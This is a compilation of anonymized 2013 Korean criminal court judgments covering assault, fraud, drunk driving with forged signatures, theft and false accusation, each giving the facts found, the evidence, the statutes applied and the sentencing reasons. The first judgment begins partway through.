영상과 바로 다음 날 병원에서 발급받은 상해진단서의 기재 내용이 피해자의 진술에 부합하는 점 등에 비추어 보면, 피고인이 피해자의 머리채를 수 회 잡아당겨 판시 범죄사실과 같은 상해를 가한 사실을 충분히 인정할 수 있다. 또한 싸움의 경우 가해행위는 방어행위인 동시에 공격행위의 성격을 가지므로, 정당방위에 해당하지 아니하고(대법원 2000. 3. 28. 선고 2000도228 판결 등 참조), 피고인이 피해자의 머리채를 수 회 잡아당겨 상해를 가한 사실은 앞서 본 바와 같은바, 설사 피고인의 주장과 같은 경위로 위와 같이 상해를 가하게 된 것이라고 하더라도, 이 사건 당시의 상황, 피고인이 행사한 유형력의 정도 및 태양, 피해자의 상해 정도 등에 비추어 볼 때, 그러한 피고인의 행위는 피해자와의 싸움 도중에 발생한 것으로서 방어행위인 동시에 공격행위로서의 성격을 가지므로 정당방위에 해당한다고 할 수 없다. 따라서 위 주장은 받아들이지 않는다] 법령의 적용 1. 범죄사실에 대한 해당법조 및 형의 선택 형법 제257조 제1항, 벌금형 선택 1. 노역장유치 형법 제70조 제1항, 제69조 제2항 1. 가납명령 형사소송법 제334조 제1항
전주지방법원군산지원-2013고정761

범죄사실 피고인은 2013. 6. 4. 11:10경 익산시 C건물 102동 1201호 피고인의 주거지에 미납된 우유값 20,150원을 받으러 온 피해자 D(여, 50세), 피해자 E(여, 55세)과 언쟁을 벌이던 중 두 손으로 피해자 D의 몸을 밀어 피해자 D이 피해자 E과 충돌한 다음 바닥에 넘어지게 하여, 피해자 D에게 약 2주간의 치료가 필요한 요추 염좌의 상해를, 피해자 E에게 약 2주간의 치료가 필요한 늑골부 타박 및 염좌의 상해를 가하였다. 증거의 요지 1. 피고인의 일부 법정진술 1. D, E에 대한 각 경찰 피의자신문조서 1. 각 상해진단서 법령의 적용 1. 범죄사실에 대한 해당법조 및 형의 선택 각 형법 제257조 제1항(벌금형 선택) 1. 경합범가중 형법 제37조 전단, 제38조 제1항 제2호, 제50조 1. 노역장유치 형법 제70조, 제69조 제2항 1. 가납명령 형사소송법 제334조 제1항 이상의 이유로 주문과 같이 판결한다.
창원지방법원-2013고단690

공소사실 피고인은 2011. 5. 초순경 불상지에서, 사촌인 피해자 B에게 전화하여 "사업자금이 급히 필요하니 돈을 빌려 달라. 보름에서 한 달 정도면 충분히 갚을 수 있다"라고 거짓말을 하였다. 그러나 사실은 피고인의 회사는 적자 운영 상태였고, 채무가 5억 9,000만 원에 이르렀으므로 피해자로부터 돈을 빌리더라도 이를 변제할 의사나 능력이 없었다. 피고인은 이와 같이 피해자를 기망하여 이에 속은 피해자로부터 같은 달 13. 피고인의 계좌(계좌번호 C)로 2,000만 원을 송금 받아 이를 편취하였다. 2. 판단 이 사건 공소사실은 형법 제347조 제1항에 해당하는 죄로서, 공소사실 및 기록에 의하면, 피고인과 피해자는 4촌 관계인 친족이므로 친족상도례에 관한 형법 제354조, 제328조 제2항의 규정에 의하여 피해자의 고소가 있어야 공소를 제기할 수 있다. 그런데, 기록에 의하면, 피해자가 이 사건 공소제기 후인 2013. 1. 4. 피고인에 대한 고소를 취소하는 내용의 고소취소장을 이 법원에 제출한 사실을 인정할 수 있으므로 형사소송법 제327조 제5호에 의하여 이 사건 공소를 기각한다. 이상의 이유로 주문과 같이 판결한다.
의정부지방법원-2013고단2226

범죄사실 1. 점유이탈물횡령 피고인은 2013. 6. 3. 05:30경 서울 동대문구 청량리동에 있는 청량리 도매시장 안골목길에서 피해자 C이 분실한 자동차운전면허증을 습득하였다. 피고인은 위와 같이 습득한 재물을 피해자에게 반환하는 등 필요한 절차를 밟지 아니한 채 자신이 가지고 행사할 목적으로 가지고 가 횡령하였다. 2. 도로교통법위반(음주운전), 도로교통법위반(무면허운전) 피고인은 2013. 6. 9. 21:41경 경기 양평군 서종면 문호리에 있는 수대울 계곡에서부터 경기 구리시 수택동 146-8에 있는 토평교 앞에 이르기까지 약 30km 구간에서 혈중알콜농도 0.123%의 술에 취한 상태로 자동차운전면허를 받지 아니하고 D I30 승용차를 운전하였다. 3. 공문서부정행사 피고인은 제2항과 같은 일시 및 장소에서 D I30 승용차를 운전하던 중 음주운전으로 적발되어 구리경찰서 소속 경장 E으로부터 운전면허증 제시를 요구받았다. 그러자, 피고인은 위 제1항과 같이 습득하여 가지고 있던 공문서인 서울지방경찰청장 명의로 된 C의 1종 보통 운전면허증을 마치 피고인에 대한 운전면허증인 것처럼 제시하여 공문서를 부정 행사하였다. 4. 사문서위조 피고인은 위 제2항과 같은 일시 및 장소에서 위 제3항과 같이 C에 대한 운전면허증을 제시하여 피고인을 C으로 판단한 구리경찰서 소속 경장 E이 C의 인적사항과 범칙 내용 등을 기재한 주취운전자 정황보고서, 혈액채취 부동의 확인서의 각 성명 란에 "C"이라고 기재한 뒤 그 옆에 'C'이라고 사인을 하였다. 이로써 피고인은 행사할 목적으로 사실증명에 관한 사문서인 C 명의로 된 주취운전자 정황보고서와 혈액채취 부동의 확인서를 위조하였다. 5. 위조사문서행사 피고인은 위 제2항과 같은 일시 및 장소에서 그 위조 사실을 모르는 구리경찰서 소속 경장 E에게 위와 같이 위조한 주취운전자 정황보고서와 혈액채취 부동의 확인서를 마치 진정하게 성립한 것처럼 교부하여 이를 행사하였다. 6. 사서명위조 피고인은 위 제2항과 같은 일시 및 장소에서 C에 대한 운전면허증을 제시하여 피고인을 C으로 판단한 구리경찰서 소속 경장 E이 교통경찰업무관리시스템에 접속하여 휴대정보단말기(PDA)에 C의 인적사항과 범칙내용 등을 입력한 음주운전단속결과통보서 서명란을 제시하자 그곳에 "C"이라고 전자서명 하였다. 이로써 피고인은 행사할 목적으로 타인의 서명을 위조하였다. 7. 위조사서명행사 피고인은 위 제2항과 같은 일시 및 장소에서 그 위조 사실을 모르는 구리경찰서 경장 E에게 위와 같이 위조한 서명을 마치 진정하게 성립한 서명인 것처럼 행사하였다. 증거의 요지 1. 피고인의 법정진술 1. C 작성의 진술서 1. 주취운전자 적발보고서 1. 자동차운전면허대장 1. 음주운전단속사실 결과조회 1. 주취운전자 정황보고서 1. 혈액채취 부동의 확인서 1. 수사보고 1. 도로교통법위반(음주운전) 피의자 적발보고 법령의 적용 1. 범죄사실에 대한 해당법조 형법 제360조 제1항(점유이탈물횡령의 점), 도로교통법 제148조의2 제2항 제2호, 제44조 제1항(음주운전의 점), 도로교통법 제152조 제1호, 제43조(무면허운전의 점), 형법 제230조(공문서부정행사의 점), 각 형법 제231조(사문서위조의 점), 각 형법 제234조, 제231조(위조사문서 행사의 점), 형법 제239조 제1항(사서명위조의 점), 형법 제239조 제2항(위조사서명행사의 점) 1. 상상적 경합 형법 제40조, 제50조 1. 형의 선택 각 징역형 선택 1. 경합범가중 형법 제37조 전단, 제38조 제1항 제2호, 제50조 1. 집행유예 형법 제62조 제1항(범행 이틀 뒤에 수사기관에 자수하였고, 범행을 모두 인정하고 반성하는 점, 2006년 이후 전과가 없는 점 등 참작하여 이번에 한하여 형의 집행을 유예한다) 1. 사회봉사명령 형법 제62조의2
수원지방법원성남지원-2013고단1761

범죄사실 피고인은 2013. 8. 8. 01:19경 성남시 분당구 C 3층에 있는 D에서 술을 마시던 중 피해자 E(55세)에게 아무런 이유 없이 다가가 그곳 탁자 위에 놓여 있던 위험한 물건인 빈 맥주병으로 피해자의 얼굴을 1회 내리쳐 피해자에게 약 2주간의 치료가 필요한 좌측 얼굴의 열상 등을 가하였다. 증거의 요지 1. 피고인의 법정진술 1. E에 대한 경찰진술조서 1. 상해진단서 법령의 적용 1. 범죄사실에 대한 해당법조 폭력행위 등 처벌에 관한 법률 제3조 제1항, 제2조 제1항 제3호, 형법 제257조 제1항 1. 작량감경 형법 제53조, 제55조 제1항 제3호 1. 집행유예 형법 제62조 제1항
청주지방법원영동지원-2013고단24

범죄사실 피고인은 2012. 1. 27. 서울남부지방법원에서 사기죄로 징역 10월을 선고받아 2012. 7. 30. 그 형의 집행을 종료한 것을 비롯하여 동종 범죄전력이 22회 더 있다. 1. 상습사기 피고인은 상습으로 다음과 같이 6회에 걸쳐 타인의 재물을 편취하였다. 가. 2013. 1. 21. 05:10경 평택시 C에 있는 피해자 D이 운영하는 'E주점'에서 사실 당시 소지하고 있던 현금이나 신용카드가 없는 등 그 술값을 지급할 의사나 능력이 없었음에도 이를 지급할 수 있는 것처럼 피해자에게 술과 안주를 주문하여 이에 속은 피해자로부터 양주 1병 및 안주 등 시가 합계 21만 원 상당 재물을 교부받아 이를 편취하였다. 나. 2013. 2. 13. 23:30경 오산시 F에 있는 피해자 G이 운영하는 'H주점'에서 사실 당시 소지하고 있던 현금이나 신용카드가 없는 등 그 술값을 지급할 의사나 능력이 없었음에도 이를 지급할 수 있는 것처럼 피해자에게 술과 안주를 주문하여 이에 속은 피해자로부터 양주 3병 및 안주 등 시가 합계 64 만 원 상당 재물을 교부받아 이를 편취하였다. 다. 2013. 2. 16. 03:30경 서울 동작구 I에 있는 피해자 J가 운영하는 'K주점'에서 사실 당시 소지하고 있던 현금이나 신용카드가 없는 등 그 술값을 지급할 의사나 능력이 없었음에도 이를 지급할 수 있는 것처럼 피해자에게 술과 안주를 주문하여 이에 속은 피해자로부터 양주 2병 및 안주 등 시가 합계 43만 원 상당 재물을 교부받아 이를 편취하였다. 라. 2013. 2. 19. 01:40경 대전 대덕구 L에 있는 피해자 M이 운영하는 'N주점'에서 사실 당시 소지하고 있던 현금이나 신용카드가 없는 등 그 술값을 지급할 의사나 능력이 없었음에도 이를 지급할 수 있는 것처럼 피해자에게 술과 안주를 주문하여 이에 속은 피해자로부터 양주 2병 및 안주 등 시가 합계 47만 원 상당 재물을 교부받아 이를 편취하였다. 마. 2013. 2. 19. 07:00경 대전 유성구 O에 있는 피해자 P가 운영하는 'Q 식당'에서 사실 당시 소지하고 있던 현금이나 신용카드가 없는 등 그 술값을 지급할 의사나 능력이 없었음에도 이를 지급할 수 있는 것처럼 피해자에게 술과 안주를 주문하여 이에 속은 피해자로부터 소주 2병 및 안주 등 시가 합계 114,000원 상당 재물을 교부받아 이를 편취하였다. 바. 2013. 2. 19. 19:00경 충북 영동군 R에 있는 피해자 S이 운영하는 'T주점'에서 사실 당시 소지하고 있던 현금이나 신용카드가 없는 등 그 술값을 지급할 의사나 능력이 없었음에도 이를 지급할 수 있는 것처럼 피해자에게 술과 안주를 주문하여 이에 속은 피해자로부터 양주 2병 및 안주 등 시가 합계 49만 원 상당 재물을 교부받아 이를 편취하였다. 2. 재물손괴 피고인은 2013. 2. 19. 01:40경 대전 대덕구 L에 있는 피해자 M의 N주점에서 피해자와 술값 문제로 말다툼을 하다가 화가 나, 발로 위 주점 계산대 앞에 있던 시가 33만 원 상당 항아리 1개를 걷어 차 깨뜨려 타인의 재물을 손괴하였다. 증거의 요지 1. 피고인의 법정진술 1. S, D, M, G, P에 대한 각 경찰 진술조서 1. J의 진술서 1. 판시 전과 : 범죄경력등 조회회보서, 개인별 수감/수용 현황, 수사보고(판결문 등 첨부보고) 1. 판시 상습성 : 판시 각 범행전력, 범행수법, 범행횟수, 짧은 시간에 동종의 범행이수 회 반복된 점 등에 비추어 습벽이 인정됨 법령의 적용 1. 범죄사실에 대한 해당법조 및 형의 선택 형법 제351조, 제347조 제1항(상습사기의 점, 포괄하여, 징역형 선택), 형법 제366조(재물손괴의 점, 징역형 선택) 1. 누범가중 형법 제35조 1. 경합범가중 형법 제37조 전단, 제38조 제1항 제2호, 제50조{형이 더 무거운 상습사기죄에 정한 형에 경합범가중(위 두 죄의 장기형을 합산한 범위 내에서)} 양형의 이유 [법률상 처단형의 범위] 징역 36년 이하 [양형기준이 설정된 범죄와 설정되지 않은 범죄 사이의 경합범] 이 사건 범행 중 재물손괴죄에 관하여는 양형기준이 설정되어 있지 않으므로, 양형기준이 설정된 상습사기죄의 권고 형량범위의 하한을 준수하여야 함 [유형의 결정] 일반사기 중 제1유형(1억 원 미만) [특별양형인자] 가중요소 – 상습범인 경우, 동종 누범 [권고형의 범위] 징역 1년 ~ 3년 9월(가중영역, 특별가중인자만 2개 이상 존재하여 형량범위의 상한을 1/2까지 가중) [선고형의 결정] 피고인이 다수의 동종 전과가 있음에도 근신하지 않고 누범 기간 내에 또다시 이 사건 범행에 이르렀고, 피해 회복도 전혀 이루어지지 않은 점을 고려하여 주문과 같이 형을 정한다. 이상의 이유로 주문과 같이 판결한다.
서울남부지방법원-2013고단1839

범죄전력 피고인은 2011. 6. 10. 서울중앙지방법원에서 사기죄 등으로 징역 1년 4월을 선고받았고 위 판결은 2011. 9. 29. 확정되었으며, 2012. 1. 18. 서울중앙지방법원에서 사기죄 등으로 징역 3년을 선고받았고 위 판결은 2012. 5. 17. 확정되었다. 범죄사실 피고인은 경기 여주군 B 임야 51,243m²(이하 '이 사건 임야'라 한다)를 소유자인 C 등 3인으로부터 매수하는 계약을 체결하고 계약금만 지급한 상태에서 2008. 6. 19. 서울 서초구 D건물 1604호에 있는 '㈜E' 사무실에서 피고인의 직원인 F을 통하여 피해자 G에게 '경기 여주군 B에 있는 임야 15,000평을 우리 회사에서 매입하였는데 그 중 991m²에 대한 매매대금을 미리 주면 바로 소유권이전등기를 해 주겠다'고 말하였다. 피고인은 사실은 처음부터 자신의 자금을 투입할 의사가 없이 현장작업자인 H으로 하여금 계약금 1억 4,000만 원을 대신 지급하게 하고 2008. 4. 8.경 이 사건 임야의 공유자 3인을 대표한 C과 23억 2,500만 원에 이 사건 임야를 매수하는 계약을 체결하였다. 또한 이 사건 임야를 계약금만 지급된 상태에서 공유자 중 C으로부터 판매허락을 받아 판매를 하였음에도 이 사건 임야를 판매한 대금을 중도금, 잔금으로 지급하지 않고 피고인의 자금회수 및 직원수당 등으로 소비해버려 위 2008. 4. 8.자 계약을 파기당한 후 계약금을 전액 몰취당하는 등 ㈜E 명의로 소유권이전을 한 후 피해자들에게 소유권이전등기를 해 줄 수 있도록 노력을 한 사실이 없는 등 피해자로부터 매매대금을 받더라도 처음부터 피해자에게 약정대로 이 사건 임야에 대한 소유권이전등기를 경료해 줄 의사나 능력이 전혀 없었다. 또한 이 사건 임야는 관련 법규상 보전관리지역 등 여러 항목의 제한구역으로 지정되어 있어 산지전용허가를 받더라도 농사 및 축산 용도의 창고 등 특정 목적 이외의 건축물 건축이 불가능하여 사실상 지가 상승을 기대할 만한 개발 자체가 불가능하고, 해당 관할관청인 여주군청 업무지침상 단순 매매목적의 소규모 분할은 허가해주지 않도록 되어 있어 사실상 개별 등기도 지극히 어려운 상황이었다. 그럼에도 피고인은 위와 같이 피해자를 기망하여 이에 속은 피해자로부터 이 사건 임야에 대한 매매대금 중 계약금 명목으로 2008. 4.경 300만 원, 2008. 6. 19. 1,000만 원을 교부받고, 2008. 6. 24. 중도금 및 잔금 명목으로 1억 2,812만 원을 교부받았다. 이로써 피고인은 피해자 G을 기망하여 합계 1억 4,112만 원을 편취하였다. 증거의 요지 1. 피고인의 법정진술 1. G에 대한 경찰진술조서 법령의 적용 1. 범죄사실에 대한 해당법조 및 형의 선택 형법 제347조 제1항, 징역형 선택 양형의 이유 피고인이 피해자에 대한 피해변상을 하지 않은 점, 피고인이 이 사건 범행을 자백하고 있는 점, 판결이 확정된 각 사기죄 등과 이 사건을 동시에 판결할 경우와의 형평, 이 사건 범행의 경위, 수단, 방법, 결과 등을 종합하여 주문과 같이 형을 정한다. 이상의 이유로 주문과 같이 판결한다.
서울중앙지방법원-2013고단2177

범죄사실 피고인은 2013. 3. 5. 17:20경 서울 동작구 B에 있는 LG유플러스 C점에서, 마치 스마트폰을 구매할 것처럼 행세하며 매장 매니저인 피해자 D과 상담을 하던 중 피해자가 잠시 자리를 비운 사이에 그 곳 진열대 위에 놓여 있던 피해자가 관리하는 시가 1,089,000원 상당의 갤럭시노트2 스마트폰 1대를 피고인의 바지 뒷주머니에 넣어 가지고 나와 이를 절취하였다. 피고인은 이를 비롯하여 2012. 11. 3. 13:20경부터 위 일시경까지 사이에 별지 범죄일람표 기재와 같이 위와 같은 방법으로 총 10회에 걸쳐 시가 합계 10,077,700원 상당의 재물을 절취하였다. 증거의 요지 1. 피고인의 법정진술 1. E, F에 대한 각 경찰 진술조서 1. D, G, H, I, J, K, L, M, N, E의 각 진술서 1. 각 수사보고 1. 각 사진 법령의 적용 1. 범죄사실에 대한 해당법조 각 형법 제329조 제1항 1. 경합범가중 형법 제37조 전단, 제38조 제1항 제2호, 제50조 1. 집행유예 형법 제62조 제1항 1. 보호관찰 및 사회봉사명령 형법 제62조의2 양형이유 1. 양형기준 가. 형종 및 형량의 기준 유형: 일반재산에 대한 절도 2유형 특별양형인자: 없음 형량범위: 6월-1년6월 2. 기타 양형사유 가. 가중사유 같은 범행을 수회 반복함 나. 감경사유 피고인은 학생임 동종전력 없음 피고인은 재범하지 않을 것과 성실히 생활할 것을 다짐함 이상의 이유로 주문과 같이 판결한다.
인천지방법원-2013고단6433

범죄사실 피고인은 인천 연수구 C에서 'D'라는 상호로 바를 운영하는 사람이고, E는 약 3회 정도 위 바에 손님으로서 방문하였던 사람이다. 피고인은 2013. 6. 22. 04:55경 위 D에서 다른 손님들이 모두 돌아가고 위 E와 단둘이 있게 되자 E와 동의하에 키스를 하고, 성기를 빠는 등의 행위를 하였다. 그럼에도 불구하고 피고인은 자신의 남자친구인 F이 스마트폰을 통하여 D에 설치된 CCTV를 확인하여, 피고인이 E와 키스 등을 한 사실을 알게 되었다는 이유로 2013. 6. 22. 09:00경 인천 동수 송림동에 있는 인천 원스탑 지원센터에 출석하여 경찰관에게 "E를 강간미수죄로 고소하니 처벌해 달라"라는 취지가 기재된 고소장을 제출하였다. 이로써 피고인은 E로 하여금 형사처벌을 받게 할 목적으로 허위 사실을 신고하여 무고하였다. 증거의 요지 1. 피고인의 법정진술 1. 피고인, G, F에 대한 각 검찰 및 경찰진술조서 1. E에 대한 경찰피의자신문조서 1. 고소장, 고소취하서 1. 각 사진 법령의 적용 1. 범죄사실에 대한 해당법조: 형법 제152조 제1항(징역형 선택) 1. 자백감경: 형법 제157조, 제153조, 제55조 제1항 제3호 1. 집행유예: 형법 제62조 제1항(피고인이 자백하였고 조기에 고소취하서를 제출한 점, 피고인이 초범인 점 등 제반 정상 참작) 이상의 이유로 주문과 같이 판결한다.